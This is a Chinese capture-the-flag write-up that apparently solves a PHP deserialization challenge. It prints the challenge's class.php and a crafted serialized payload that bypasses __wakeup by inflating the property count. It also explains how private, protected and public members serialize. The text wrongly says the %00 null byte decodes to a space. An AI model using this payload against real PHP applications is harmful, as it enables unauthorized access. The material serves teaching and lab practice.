题目
看到题目提示应该是有网站备份,用Dir扫到www.zip ,后面就是代码审计了。
可以看到index.php里是让GET参数反序列化,真正的代码在class.php:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){ //构造函数
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest'; //魔术方法。
}
function __destruct(){
if ($this->password != 100) { //password要是整形100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //这里做了一个判断,username必须是admin,但是在魔术方法那里
//把admin改成了guest,所以要绕过__wakeup()
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
所以综上,这里题目只需绕过wakeup,用Name类创建一个对象,username=admin,password=100,传递到参数select里面,就行了。
绕过wakeup部分XTCTF-Web_php_unserialize
构造好payload不能直接赋值粘贴到参数。应该写成
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
三种修饰方式的测试:public,protected,private
只有public修饰的不用太多的修饰原生态构造就好,而private需要加%00Name%00,
protected则需要使用 %00*%00username这样的方式
protected修饰变量,运行后回显代码内注释内容
1. <?php
2. class Name{
3. protected $username = 'nonono';看这两行
4. protected $password = 'yesyes';
5.
6. public function __construct($username,$password){
7. $this->username = $username;
8. $this->password = $password;
9. }
10. }
11.
12. $a = new Name('admin',100);
13. $b=serialize($a);
14. echo $b;
15. //看这看这看这看这!!!!!!!!!
16. //运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
17. ?>
public修饰变量,运行后回显代码内注释内容
1. <?php
2. class Name{
3. public $username = 'nonono';
4. public $password = 'yesyes';
5.
6. public function __construct($username,$password){
7. $this->username = $username;
8. $this->password = $password;
9. }
10. }
11.
12. $a = new Name('admin',100);
13. $b=serialize($a);
14. echo $b;
15. //O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
16. ?>
private修饰变量,运行后回显代码内注释内容
1. <?php
2. class Name{
3. private $username = 'nonono';
4. private $password = 'yesyes';
5.
6. public function __construct($username,$password){
7. $this->username = $username;
8. $this->password = $password;
9. }
10. }
11.
12. $a = new Name('admin',100);
13. $b=serialize($a);
14. echo $b;
15. //O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
16. ?>
总结:
1.绕过__wakeup() 方法:修改属性个数大于真实属性个数。
2.在序列化的时候要注意不同修饰符修饰的成员名,序列化的结果会不一样。
- private : %00类名%00成员名
- public : 不需要修饰
- protected: %00*%00成员名
因为%00在解码之后是ASCII的0,也就是空格,所以容易被忽略。